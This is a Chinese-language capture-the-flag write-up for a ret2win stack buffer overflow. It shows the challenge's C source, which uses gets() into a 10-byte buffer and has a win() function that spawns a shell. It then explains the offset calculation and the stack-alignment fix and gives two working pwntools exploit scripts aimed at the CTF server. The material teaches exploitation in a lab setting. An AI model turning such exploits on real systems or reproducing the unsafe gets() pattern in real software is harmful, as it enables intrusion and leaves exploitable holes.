題目原始碼
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void win() {
system("/bin/sh");
}
void vuln() {
char name[10];
printf("What's your name? ");
gets(name);
printf("Hello, %s!\n", name);
}
int main() {
setbuf(stdout, NULL);
vuln();
}
解題
解題思路
因爲gets()這個function是可以取得使用者輸入無限長度的字串,因此我們可以用overflow的方法將return的位置覆蓋成win function的位置取得shell
解題
查看保護機制

計算需要覆蓋的範圍(name的位置大小main rbp的位置大小) : 0x0A+0x08=0x12.
如下圖當call function會存入要跳回的位置及RBP的位置:
取得win function的位置
建構payload
from pwn import *
from pwnlib.util.packing import p64
#context.log_level="debug"
host="chall.nckuctf.org"
port=28203
context.arch="amd64"
r=remote(host,port)
win=0x401156
p=b'b'*0x12 + p64(win)
r.sendlineafter(b"? ",p)
r.interactive()
r.close()
記憶體對齊問題
執行時會EOF,因為當我們使用現有函數時會需要要求記憶體要對齊,但因為我們是用jmp的方法直接跳進function裡,所以會少8byte的空間,我們可以加入ret來解決
from pwn import *
from pwnlib.util.packing import p64
#context.log_level="debug"
host="chall.nckuctf.org"
port=28203
context.arch="amd64"
r=remote(host,port)
win=0x401156
ret=0x4011df
p=b'b'*0x12 + p64(ret) + p64(win)
r.sendlineafter(b"? ",p)
r.interactive()
r.close()

取得flag



說些什麼吧!